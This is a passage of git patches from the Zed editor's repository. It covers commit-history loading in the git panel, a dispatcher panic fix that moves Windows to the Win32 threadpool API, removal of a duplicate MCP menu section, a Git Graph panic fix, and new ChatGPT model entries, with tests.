@@ -5845,12 +5862,9 @@ impl GitPanel {
             return;
         };
 
-        let Some(branch) = active_repository.read(cx).branch.as_ref() else {
+        let Some(log_source) = Self::commit_history_log_source(active_repository, cx) else {
             return;
         };
-
-        let branch_name = branch.name().to_string();
-        let log_source = LogSource::Branch(branch_name.into());
         let log_order = LogOrder::DateOrder;
 
         // Kick off the git log fetch so data is ready when the user switches to History.
@@ -5861,13 +5875,13 @@ impl GitPanel {
     }
 
     fn load_commit_history(&mut self, cx: &mut Context<Self>) {
-        let Some(active_repository) = self.active_repository.as_ref() else {
+        let Some(active_repository) = self.active_repository.clone() else {
             return;
         };
 
         if self._repo_subscriptions.is_empty() {
             self._repo_subscriptions.push(cx.subscribe(
-                active_repository,
+                &active_repository,
                 |this, _repo, event, cx| {
                     if let RepositoryEvent::GraphEvent(_, _) = event {
                         if this.active_tab == GitPanelTab::History {
@@ -5877,7 +5891,7 @@ impl GitPanel {
                 },
             ));
             self._repo_subscriptions
-                .push(cx.observe(active_repository, |_this, _repo, cx| {
+                .push(cx.observe(&active_repository, |_this, _repo, cx| {
                     cx.notify();
                 }));
         }
@@ -5886,26 +5900,53 @@ impl GitPanel {
     }
 
     fn fetch_commit_history_entries(&mut self, cx: &mut Context<Self>) {
-        let Some(active_repository) = self.active_repository.as_ref() else {
+        let Some(active_repository) = self.active_repository.clone() else {
             return;
         };
 
-        let Some(branch) = active_repository.read(cx).branch.as_ref() else {
+        let Some(log_source) = Self::commit_history_log_source(&active_repository, cx) else {
+            // No HEAD commit at all (unborn/empty repository).
+            self.set_commit_history(CommitHistory::Loaded(Rc::from([])), cx);
             return;
         };
-
-        let branch_name = branch.name().to_string();
-        let log_source = LogSource::Branch(branch_name.into());
         let log_order = LogOrder::DateOrder;
 
-        self.commit_history_entries = Some(active_repository.update(cx, |repository, cx| {
+        let (entries, is_loading, error) = active_repository.update(cx, |repository, cx| {
             let response = repository.graph_data(log_source, log_order, 0..usize::MAX, cx);
-            response
+            let entries: Rc<[CommitHistoryEntry]> = response
                 .commits
                 .iter()
                 .map(CommitHistoryEntry::from)
-                .collect()
-        }));
+                .collect();
+            (entries, response.is_loading, response.error)
+        });
+
+        self.set_commit_history(commit_history_from_response(entries, is_loading, error), cx);
+    }
+
+    fn set_commit_history(&mut self, commit_history: CommitHistory, cx: &mut Context<Self>) {
+        let changed = self.commit_history != commit_history;
+        self.commit_history = commit_history;
+        // Keep the focused entry within range as the history grows or clears.
+        let count = self.commit_history_entries().len();
+        let focused = self.focused_history_entry.unwrap_or(0);
+        self.focused_history_entry = (count > 0).then(|| focused.min(count - 1));
+        if changed {
+            cx.notify();
+        }
+    }
+
+    fn commit_history_log_source(
+        active_repository: &Entity<Repository>,
+        cx: &App,
+    ) -> Option<LogSource> {
+        let repository = active_repository.read(cx);
+        let head_commit = repository.head_commit.as_ref()?;
+        if let Some(branch) = repository.branch.as_ref() {
+            Some(LogSource::Branch(branch.name().to_string().into()))
+        } else {
+            Some(LogSource::Sha(head_commit.sha.as_ref().parse().ok()?))
+        }
     }
 
     fn git_remote(&self, cx: &mut App) -> Option<GitRemote> {
@@ -5925,7 +5966,10 @@ impl GitPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Option<impl IntoElement> {
-        let entries = self.commit_history_entries.clone()?;
+        let CommitHistory::Loaded(entries) = &self.commit_history else {
+            return None;
+        };
+        let entries = entries.clone();
         let active_repository = self.active_repository.as_ref()?;
         let workspace = self.workspace.clone();
         let repo_weak = active_repository.downgrade();
@@ -8515,6 +8559,47 @@ mod tests {
         assert_editor_opened_with_path(&workspace, Path::new("src/a/foo.rs"), &mut cx);
     }
 
+    async fn history_panel_for_project(
+        fs: Arc<FakeFs>,
+        cx: &mut TestAppContext,
+    ) -> Entity<GitPanel> {
+        let project = Project::test(fs, [Path::new(path!("/root/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.read(|cx| {
+            project
+                .read(cx)
+                .worktrees(cx)
+                .next()
+                .unwrap()
+                .read(cx)
+                .as_local()
+                .unwrap()
+                .scan_complete()
+        })
+        .await;
+        cx.executor().run_until_parked();
+
+        let panel = workspace.update_in(cx, GitPanel::new);
+        panel.update_in(cx, |panel, window, cx| {
+            panel.activate_history_tab(&ActivateHistoryTab, window, cx);
+        });
+        cx.run_until_parked();
+        panel
+    }
+
+    async fn wait_for_commit_history_to_settle(panel: &Entity<GitPanel>, cx: &mut TestAppContext) {
+        cx.condition(panel, |panel, _| {
+            !matches!(panel.commit_history, CommitHistory::Loading)
+        })
+        .await;
+    }
+
     #[test]
     fn test_format_git_error_toast_message_prefers_raw_rpc_message() {
         let rpc_error = RpcError::from_proto(
@@ -8556,6 +8641,154 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_history_tab_stops_loading_for_unborn_branch(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree("/root", json!({ "project": { ".git": {} } }))
+            .await;
+
+        let dot_git = Path::new(path!("/root/project/.git"));
+        fs.set_branch_name(dot_git, Some("main"));
+        fs.with_git_state(dot_git, false, |state| {
+            state.refs.remove("HEAD");
+        })
+        .unwrap();
+
+        let panel = history_panel_for_project(fs.clone(), cx).await;
+
+        wait_for_commit_history_to_settle(&panel, cx).await;
+        panel.read_with(cx, |panel, _| {
+            assert_eq!(panel.commit_history, CommitHistory::Loaded(Rc::from([])));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_history_tab_loads_detached_head(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree("/root", json!({ "project": { ".git": {} } }))
+            .await;
+
+        let dot_git = Path::new(path!("/root/project/.git"));
+        let sha: Oid = "0123456789012345678901234567890123456789".parse().unwrap();
+        fs.with_git_state(dot_git, false, |state| {
+            state.current_branch_name = None;
+            state.refs.insert("HEAD".into(), sha.to_string());
+            state.graph_commits = vec![Arc::new(git::repository::InitialGraphCommitData {
+                sha,
+                parents: SmallVec::new(),
+                ref_names: Vec::new(),
+            })];
+        })
+        .unwrap();
+
+        let panel = history_panel_for_project(fs.clone(), cx).await;
+
+        wait_for_commit_history_to_settle(&panel, cx).await;
+        panel.read_with(cx, |panel, _| {
+            assert_eq!(
+                panel.commit_history,
+                CommitHistory::Loaded(Rc::from([CommitHistoryEntry {
+                    sha,
+                    tag_names: Vec::new(),
+                }]))
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_history_tab_surfaces_load_error(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree("/root", json!({ "project": { ".git": {} } }))
+            .await;
+
+        let dot_git = Path::new(path!("/root/project/.git"));
+        let sha: Oid = "0123456789012345678901234567890123456789".parse().unwrap();
+        fs.with_git_state(dot_git, false, |state| {
+            state.current_branch_name = None;
+            state.refs.insert("HEAD".into(), sha.to_string());
+            state.graph_commits = vec![Arc::new(git::repository::InitialGraphCommitData {
+                sha,
+                parents: SmallVec::new(),
+                ref_names: Vec::new(),
+            })];
+        })
+        .unwrap();
+        fs.set_graph_error(dot_git, Some("simulated git log failure".into()));
+
+        let panel = history_panel_for_project(fs.clone(), cx).await;
+
+        wait_for_commit_history_to_settle(&panel, cx).await;
+        panel.read_with(cx, |panel, _| {
+            assert!(matches!(panel.commit_history, CommitHistory::Error(_)));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_history_tab_without_repository(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree("/root", json!({ "project": {} })).await;
+
+        let panel = history_panel_for_project(fs.clone(), cx).await;
+
+        panel.read_with(cx, |panel, _| {
+            assert_eq!(panel.commit_history, CommitHistory::Loading);
+        });
+    }
+
+    #[test]
+    fn test_commit_history_from_response() {
+        let sha: Oid = "0123456789012345678901234567890123456789".parse().unwrap();
+        let error = SharedString::from("git log failed");
+        let entries: Rc<[CommitHistoryEntry]> = Rc::from([CommitHistoryEntry {
+            sha,
+            tag_names: Vec::new(),
+        }]);
+        let no_entries: Rc<[CommitHistoryEntry]> = Rc::from([]);
+
+        // Commits win even while the fetch task still reports `is_loading`.
+        assert_eq!(
+            commit_history_from_response(entries.clone(), true, None),
+            CommitHistory::Loaded(entries.clone())
+        );
+        assert_eq!(
+            commit_history_from_response(entries.clone(), false, None),
+            CommitHistory::Loaded(entries.clone())
+        );
+        // Commits also take precedence over a concurrently reported error.
+        assert_eq!(
+            commit_history_from_response(entries.clone(), true, Some(error.clone())),
+            CommitHistory::Loaded(entries)
+        );
+
+        // With no commits a terminal error beats the loading state.
+        assert_eq!(
+            commit_history_from_response(no_entries.clone(), true, Some(error.clone())),
+            CommitHistory::Error(error.clone())
+        );
+        assert_eq!(
+            commit_history_from_response(no_entries.clone(), false, Some(error.clone())),
+            CommitHistory::Error(error)
+        );
+
+        // When no commits and no error, loading vs. finished-empty hinges on `is_loading`.
+        assert_eq!(
+            commit_history_from_response(no_entries.clone(), true, None),
+            CommitHistory::Loading
+        );
+        assert_eq!(
+            commit_history_from_response(no_entries.clone(), false, None),
+            CommitHistory::Loaded(no_entries)
+        );
+    }
+
     #[gpui::test]
     async fn test_entry_worktree_paths(cx: &mut TestAppContext) {
         init_test(cx);

From 2c4e44704c37ee87e59ac84e3e17388178b28545 Mon Sep 17 00:00:00 2001
From: John Tur <john-tur@outlook.com>
Date: Thu, 9 Jul 2026 14:06:00 -0400
Subject: [PATCH 370/772] Fix "Task polled after completion" panic (#60693)

Dropping a scheduled runnable cancels its task and makes the next poll
of any awaiter panic with "Task polled after completion." The only paths
where we drop these runnables seem to be during shutdown or extreme
resource exhaustion, so, let's leak the runnables instead of crashing.

On Windows, we also moved to calling the Win32 thread pool API directly,
because 1) WinRT thread pool API is just a wrapper that adds overhead we
don't need, and 2) the closure we pass to the `WorkItemHandler` object
takes ownership of the runnable object, so if the WinRT thread pool
releases the delegate, it can free the runnable without our control.

Release Notes:

- N/A
---
 crates/gpui_linux/src/linux/dispatcher.rs |  9 ++-
 crates/gpui_windows/src/dispatcher.rs     | 96 ++++++++++++++++-------
 2 files changed, 73 insertions(+), 32 deletions(-)

diff --git a/crates/gpui_linux/src/linux/dispatcher.rs b/crates/gpui_linux/src/linux/dispatcher.rs
index 2a178521edc04a..fd9caf89fc1528 100644
--- a/crates/gpui_linux/src/linux/dispatcher.rs
+++ b/crates/gpui_linux/src/linux/dispatcher.rs
@@ -127,9 +127,12 @@ impl PlatformDispatcher for LinuxDispatcher {
     }
 
     fn dispatch_after(&self, duration: Duration, runnable: RunnableVariant) {
-        self.timer_sender
-            .send(TimerAfter { duration, runnable })
-            .ok();
+        if let Err(err) = self.timer_sender.send(TimerAfter { duration, runnable }) {
+            // The timer thread has shut down. Dropping a scheduled runnable cancels its task
+            // and makes the next poll of any awaiter panic. Leaking leaves the task pending,
+            // which is acceptable during shutdown.
+            std::mem::forget(err);
+        }
     }
 
     fn spawn_realtime(&self, f: Box<dyn FnOnce() + Send>) {
diff --git a/crates/gpui_windows/src/dispatcher.rs b/crates/gpui_windows/src/dispatcher.rs
index d1dd5685b07d7e..ba492515edbb24 100644
--- a/crates/gpui_windows/src/dispatcher.rs
+++ b/crates/gpui_windows/src/dispatcher.rs
@@ -1,4 +1,6 @@
 use std::{
+    ffi::c_void,
+    ptr::NonNull,
     sync::atomic::{AtomicBool, Ordering},
     thread::{ThreadId, current},
     time::Duration,
@@ -6,16 +8,17 @@ use std::{
 
 use anyhow::Context;
 use gpui_util::ResultExt;
-use windows::{
+use windows::Win32::{
+    Foundation::{FILETIME, LPARAM, WPARAM},
+    Media::{timeBeginPeriod, timeEndPeriod},
     System::Threading::{
-        ThreadPool, ThreadPoolTimer, TimerElapsedHandler, WorkItemHandler, WorkItemPriority,
-    },
-    Win32::{
-        Foundation::{LPARAM, WPARAM},
-        Media::{timeBeginPeriod, timeEndPeriod},
-        System::Threading::{GetCurrentThread, SetThreadPriority, THREAD_PRIORITY_TIME_CRITICAL},
-        UI::WindowsAndMessaging::PostMessageW,
+        CloseThreadpoolTimer, CloseThreadpoolWork, CreateThreadpoolTimer, CreateThreadpoolWork,
+        GetCurrentThread, PTP_CALLBACK_INSTANCE, PTP_TIMER, PTP_WORK, SetThreadPriority,
+        SetThreadpoolTimer, SubmitThreadpoolWork, THREAD_PRIORITY_TIME_CRITICAL,
+        TP_CALLBACK_ENVIRON_V3, TP_CALLBACK_PRIORITY, TP_CALLBACK_PRIORITY_HIGH,
+        TP_CALLBACK_PRIORITY_LOW, TP_CALLBACK_PRIORITY_NORMAL,
     },
+    UI::WindowsAndMessaging::PostMessageW,
 };
 
 use crate::{HWND, SafeHwnd, WM_GPUI_TASK_DISPATCHED_ON_MAIN_THREAD};
@@ -49,29 +52,44 @@ impl WindowsDispatcher {
         }
     }
 
-    fn dispatch_on_threadpool(&self, priority: WorkItemPriority, runnable: RunnableVariant) {
-        let handler = {
-            let mut task_wrapper = Some(runnable);
-            WorkItemHandler::new(move |_| {
-                let runnable = task_wrapper.take().unwrap();
-                Self::execute_runnable(runnable);
-                Ok(())
-            })
+    fn dispatch_on_threadpool(&self, priority: TP_CALLBACK_PRIORITY, runnable: RunnableVariant) {
+        let environ = TP_CALLBACK_ENVIRON_V3 {
+            Version: 3,
+            CallbackPriority: priority,
+            Size: size_of::<TP_CALLBACK_ENVIRON_V3>() as u32,
+            ..Default::default()
         };
 
-        ThreadPool::RunWithPriorityAsync(&handler, priority).log_err();
+        // If the thread pool never runs our callback, the matching `from_raw` is never called, which leaks the runnable.
+        // Dropping the scheduled runnable would cancel its task and make the next poll of any awaiter panic. Since we expect
+        // the scenario to usually happen during shutdown, this leak is acceptable.
+        let context = runnable.into_raw().as_ptr() as *mut c_void;
+
+        unsafe {
+            if let Ok(work) =
+                CreateThreadpoolWork(Some(run_work_callback), Some(context), Some(&environ))
+            {
+                SubmitThreadpoolWork(work);
+            }
+        }
     }
 
     fn dispatch_on_threadpool_after(&self, runnable: RunnableVariant, duration: Duration) {
-        let handler = {
-            let mut task_wrapper = Some(runnable);
-            TimerElapsedHandler::new(move |_| {
-                let runnable = task_wrapper.take().unwrap();
-                Self::execute_runnable(runnable);
-                Ok(())
-            })
-        };
-        ThreadPoolTimer::CreateTimer(&handler, duration.into()).log_err();
+        let context = runnable.into_raw().as_ptr() as *mut c_void;
+
+        unsafe {
+            if let Ok(timer) = CreateThreadpoolTimer(Some(run_timer_callback), Some(context), None)
+            {
+                // Negative FILETIME expresses a relative delay in 100ns ticks
+                let ticks = (duration.as_nanos() / 100).min(i64::MAX as u128) as i64;
+                let due = (-ticks) as u64;
+                let due_time = FILETIME {
+                    dwLowDateTime: due as u32,
+                    dwHighDateTime: (due >> 32) as u32,
+                };
+                SetThreadpoolTimer(timer, Some(&due_time), 0, None);
+            }
+        }
     }
 
     #[inline(always)]
@@ -94,9 +112,9 @@ impl PlatformDispatcher for WindowsDispatcher {
             Priority::RealtimeAudio => {
                 panic!("RealtimeAudio priority should use spawn_realtime, not dispatch")
             }
-            Priority::High => WorkItemPriority::High,
-            Priority::Medium => WorkItemPriority::Normal,
-            Priority::Low => WorkItemPriority::Low,
+            Priority::High => TP_CALLBACK_PRIORITY_HIGH,
+            Priority::Medium => TP_CALLBACK_PRIORITY_NORMAL,
+            Priority::Low => TP_CALLBACK_PRIORITY_LOW,
         };
         self.dispatch_on_threadpool(priority, runnable);
     }
@@ -157,3 +175,23 @@ impl PlatformDispatcher for WindowsDispatcher {
         }))
     }
 }
+
+unsafe extern "system" fn run_work_callback(
+    _instance: PTP_CALLBACK_INSTANCE,
+    context: *mut c_void,
+    work: PTP_WORK,
+) {
+    let runnable = unsafe { RunnableVariant::from_raw(NonNull::new_unchecked(context as *mut ())) };
+    WindowsDispatcher::execute_runnable(runnable);
+    unsafe { CloseThreadpoolWork(work) };
+}
+
+unsafe extern "system" fn run_timer_callback(
+    _instance: PTP_CALLBACK_INSTANCE,
+    context: *mut c_void,
+    timer: PTP_TIMER,
+) {
+    let runnable = unsafe { RunnableVariant::from_raw(NonNull::new_unchecked(context as *mut ())) };
+    WindowsDispatcher::execute_runnable(runnable);
+    unsafe { CloseThreadpoolTimer(timer) };
+}

From a5f696bfa318311764f64d9d5cb455abc59153a0 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Thu, 9 Jul 2026 23:19:08 +0100
Subject: [PATCH 371/772] agent_ui: Remove duplicate MCP Servers menu item
 (#60712)

# Objective

Fixes https://github.com/zed-industries/zed/issues/60709 by removing the
duplicate menu section for "MCP Servers".

## Solution

Update `agent_ui::agent_panel::AgentPanel::render_panel_options_menu` to
ensure the "MCP Servers" section is only rendered once, if not using a
Terminal Thread.

## Testing

Tested manually, comparing against the stable release, as this bug is
present in Preview. Screenshot is shown in the "Showcase" section.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before</summary>
<img width="2736" height="1586" alt="CleanShot 2026-07-09 at 23 14
34@2x"
src="https://github.com/user-attachments/assets/ce2014db-bd72-46fb-bfa1-247cd5471daf"
/>

</details>

<details>
  <summary>After</summary>
<img width="2736" height="1586" alt="CleanShot 2026-07-09 at 23 15
13@2x"
src="https://github.com/user-attachments/assets/bbba9965-3f6a-4137-94e5-17704efd2cce"
/>

</details>


---

Release Notes:

- N/A
---
 crates/agent_ui/src/agent_panel.rs | 18 ------------------
 1 file changed, 18 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 5575046e25dc39..835bb0e572212a 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -5715,24 +5715,6 @@ impl AgentPanel {
                             }
 
                             menu = menu
-                                .separator()
-                                .header("MCP Servers")
-                                .action(
-                                    "Add Server…",
-                                    Box::new(zed_actions::OpenSettingsAt {
-                                        path: "context_servers".to_string(),
-                                        target: None,
-                                    }),
-                                )
-                                .action(
-                                    "Install New Servers…",
-                                    Box::new(zed_actions::Extensions {
-                                        category_filter: Some(
-                                            zed_actions::ExtensionCategoryFilter::ContextServers,
-                                        ),
-                                        id: None,
-                                    }),
-                                )
                                 .separator()
                                 .action("Profiles", Box::new(ManageProfiles::default()));
                         }

From 76c93968da5b8b8809bdd72e4ad9e7d0e946bad0 Mon Sep 17 00:00:00 2001
From: "Joseph T. Lyons" <JosephTLyons@gmail.com>
Date: Thu, 9 Jul 2026 19:51:04 -0400
Subject: [PATCH 372/772] Fix workspace double-lease panic when reusing Git
 Graph (#60717)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Release Notes:

- Fixed a panic when running “Show in Git Graph” while the Git Graph was
already open.
---
 crates/git_ui/src/git_graph.rs | 146 +++++++++++++++++++++++++++------
 1 file changed, 123 insertions(+), 23 deletions(-)

diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 90efa57d228609..c28b76443166c9 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -1210,32 +1210,32 @@ pub fn open_or_reuse_graph(
         graph.repo_id == repo_id && graph.log_source == log_source
     });
 
-    if let Some(existing) = existing {
-        if let Some(sha) = sha {
-            existing.update(cx, |graph, cx| {
+    let git_graph = if let Some(existing) = existing {
+        workspace.activate_item(&existing, true, true, window, cx);
+        existing
+    } else {
+        let workspace_handle = workspace.weak_handle();
+        let git_graph = cx.new(|cx| {
+            GitGraph::new(
+                repo_id,
+                git_store,
+                workspace_handle,
+                Some(log_source),
+                window,
+                cx,
+            )
+        });
+        workspace.add_item_to_active_pane(Box::new(git_graph.clone()), None, true, window, cx);
+        git_graph
+    };
+
+    if let Some(sha) = sha {
+        cx.defer(move |cx| {
+            git_graph.update(cx, |graph, cx| {
                 graph.select_commit_by_sha(sha.as_str(), cx);
             });
-        }
-        workspace.activate_item(&existing, true, true, window, cx);
-        return;
+        });
     }
-
-    let workspace_handle = workspace.weak_handle();
-    let git_graph = cx.new(|cx| {
-        let mut graph = GitGraph::new(
-            repo_id,
-            git_store,
-            workspace_handle,
-            Some(log_source),
-            window,
-            cx,
-        );
-        if let Some(sha) = sha {
-            graph.select_commit_by_sha(sha.as_str(), cx);
-        }
-        graph
-    });
-    workspace.add_item_to_active_pane(Box::new(git_graph), None, true, window, cx);
 }
 
 fn lane_center_x(bounds: Bounds<Pixels>, lane: f32) -> Pixels {
@@ -6911,6 +6911,106 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_open_at_commit_reuses_loaded_graph(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            Path::new("/project"),
+            json!({ ".git": {}, "file.txt": "content" }),
+        )
+        .await;
+
+        let first_sha = Oid::from_bytes(&[1; 20]).expect("valid commit SHA");
+        let second_sha = Oid::from_bytes(&[2; 20]).expect("valid commit SHA");
+        fs.set_graph_commits(
+            Path::new("/project/.git"),
+            vec![
+                Arc::new(InitialGraphCommitData {
+                    sha: second_sha,
+                    parents: smallvec![first_sha],
+                    ref_names: vec!["HEAD -> main".into()],
+                }),
+                Arc::new(InitialGraphCommitData {
+                    sha: first_sha,
+                    parents: smallvec![],
+                    ref_names: Vec::new(),
+                }),
+            ],
+        );
+        fs.set_commit_data(
+            Path::new("/project/.git"),
+            [first_sha, second_sha].map(|sha| {
+                (
+                    CommitData {
+                        sha,
+                        parents: smallvec![],
+                        author_name: "Author".into(),
+                        author_email: "author@example.com".into(),
+                        commit_timestamp: 1_700_000_000,
+                        subject: "Commit subject".into(),
+                        message: "Commit message".into(),
+                    },
+                    false,
+                )
+            }),
+        );
+
+        let project = Project::test(fs, [Path::new("/project")], cx).await;
+        cx.run_until_parked();
+
+        let repository = project.read_with(cx, |project, cx| {
+            project
+                .active_repository(cx)
+                .expect("should have a repository")
+        });
+        let (multi_workspace, cx) = cx.add_window_view(|window, cx| {
+            workspace::MultiWorkspace::test_new(project.clone(), window, cx)
+        });
+        let workspace = multi_workspace.read_with(&*cx, |multi, _| multi.workspace().clone());
+        let git_graph = cx.new_window_entity(|window, cx| {
+            GitGraph::new(
+                repository.read(cx).id,
+                project.read(cx).git_store().clone(),
+                workspace.downgrade(),
+                None,
+                window,
+                cx,
+            )
+        });
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.add_item_to_active_pane(Box::new(git_graph.clone()), None, true, window, cx);
+        });
+        cx.run_until_parked();
+
+        git_graph.update(cx, |graph, cx| {
+            graph.select_commit_by_sha(first_sha, cx);
+        });
+        cx.run_until_parked();
+        git_graph.update(cx, |graph, cx| {
+            graph.select_commit_by_sha(second_sha, cx);
+        });
+        cx.run_until_parked();
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            open_or_reuse_graph(
+                workspace,
+                repository.read(cx).id,
+                project.read(cx).git_store().clone(),
+                LogSource::All,
+                Some(first_sha.to_string()),
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        git_graph.read_with(&*cx, |graph, _| {
+            assert_eq!(graph.selected_entry_idx, Some(1));
+        });
+    }
+
     #[gpui::test]
     async fn test_git_graph_navigation(cx: &mut TestAppContext) {
         init_test(cx);

From 9db37846a68e38c62f80c35f86c5146c905a60e2 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Fri, 10 Jul 2026 10:10:51 +0200
Subject: [PATCH 373/772] agent: Add GPT 5.6 Sol/Terra for ChatGPT subscription
 (#60743)

Release Notes:

- agent: Added GPT 5.6 Sol & Terra for ChatGPT subscription. Note: GPT
5.6 Luna is not available yet, since OpenAI has not unlocked access for
third-party clients
---
 .../src/provider/openai_subscribed.rs         | 57 +++++++++++++------
 1 file changed, 40 insertions(+), 17 deletions(-)

diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index e3ec95859a240b..fca352d8689435 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -311,6 +311,8 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
 // approximation; the entries below mirror that file's picker-visible models.
 #[derive(Clone, Debug, PartialEq)]
 enum ChatGptModel {
+    Gpt56Sol,
+    Gpt56Terra,
     Gpt55,
     Gpt54,
     Gpt54Mini,
@@ -318,11 +320,19 @@ enum ChatGptModel {
 
 impl ChatGptModel {
     fn all() -> Vec<Self> {
-        vec![Self::Gpt55, Self::Gpt54, Self::Gpt54Mini]
+        vec![
+            Self::Gpt56Sol,
+            Self::Gpt56Terra,
+            Self::Gpt55,
+            Self::Gpt54,
+            Self::Gpt54Mini,
+        ]
     }
 
     fn id(&self) -> &str {
         match self {
+            Self::Gpt56Sol => "gpt-5.6-sol",
+            Self::Gpt56Terra => "gpt-5.6-terra",
             Self::Gpt55 => "gpt-5.5",
             Self::Gpt54 => "gpt-5.4",
             Self::Gpt54Mini => "gpt-5.4-mini",
@@ -331,6 +341,8 @@ impl ChatGptModel {
 
     fn display_name(&self) -> &str {
         match self {
+            Self::Gpt56Sol => "GPT-5.6 Sol",
+            Self::Gpt56Terra => "GPT-5.6 Terra",
             Self::Gpt55 => "GPT-5.5",
             Self::Gpt54 => "GPT-5.4",
             Self::Gpt54Mini => "GPT-5.4 Mini",
@@ -338,11 +350,10 @@ impl ChatGptModel {
     }
 
     fn max_token_count(&self) -> u64 {
-        // All Codex-supported models use a 272K context window in the Codex
-        // backend, even when the raw model exposes a larger context window via the
-        // public API (e.g. gpt-5.4 has max_context_window 1M, but Codex uses
-        // context_window 272K). Source: openai/codex models-manager/models.json.
-        272_000
+        match self {
+            Self::Gpt56Sol | Self::Gpt56Terra => 372_000,
+            Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => 272_000,
+        }
     }
 
     fn max_output_tokens(&self) -> Option<u64> {
@@ -356,18 +367,30 @@ impl ChatGptModel {
     }
 
     fn default_reasoning_effort(&self) -> Option<ReasoningEffort> {
-        // Codex bundled models all default to Medium reasoning effort.
-        Some(ReasoningEffort::Medium)
+        match self {
+            Self::Gpt56Sol => Some(ReasoningEffort::Low),
+            Self::Gpt56Terra | Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => {
+                Some(ReasoningEffort::Medium)
+            }
+        }
     }
 
     fn supported_reasoning_efforts(&self) -> &'static [ReasoningEffort] {
-        // The Codex backend's supported_reasoning_levels for every model in this list is low/medium/high/xhigh
-        &[
-            ReasoningEffort::Low,
-            ReasoningEffort::Medium,
-            ReasoningEffort::High,
-            ReasoningEffort::XHigh,
-        ]
+        match self {
+            Self::Gpt56Sol | Self::Gpt56Terra => &[
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+                ReasoningEffort::XHigh,
+                ReasoningEffort::Max,
+            ],
+            Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => &[
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+                ReasoningEffort::XHigh,
+            ],
+        }
     }
 
     fn supports_parallel_tool_calls(&self) -> bool {
@@ -380,7 +403,7 @@ impl ChatGptModel {
 
     fn supports_priority(&self) -> bool {
         match self {
-            Self::Gpt55 | Self::Gpt54 => true,
+            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt55 | Self::Gpt54 => true,
             Self::Gpt54Mini => false,
         }
     }
@@ -449,7 +472,7 @@ impl LanguageModel for OpenAiSubscribedLanguageModel {
                     ReasoningEffort::Medium => ("Medium", "medium"),
                     ReasoningEffort::High => ("High", "high"),
                     ReasoningEffort::XHigh => ("Extra High", "xhigh"),
-                    ReasoningEffort::Max => return None, // Not supported by any OpenAI models
+                    ReasoningEffort::Max => ("Max", "max"),
                 };
 
                 Some(LanguageModelEffortLevel {

From b2db24e58a085de575a875c151963c98e1a60bec Mon Sep 17 00:00:00 2001
From: Om Chillure <omchillure4@gmail.com>
Date: Fri, 10 Jul 2026 14:43:45 +0530
Subject: [PATCH 374/772] Fix MCP servers in multi root workspaces (#52849)

### Closes #51951

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

#### Note : Reopens previous work from closed PR
https://github.com/zed-industries/zed/pull/52161 (fork was deleted)

## Video

[Screencast from 2026-03-22
23-26-06.webm](https://github.com/user-attachments/assets/ab68e47a-7e74-4f1e-991d-8ca4fed7952c)


## Release Notes:

- Fixed MCP servers from `.zed/settings.json` not being discovered when
multiple project folders are open in a workspace.

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
---
 crates/project/src/context_server_store.rs    | 229 +++++++++++-------
 .../tests/integration/context_server_store.rs | 170 +++++++++++++
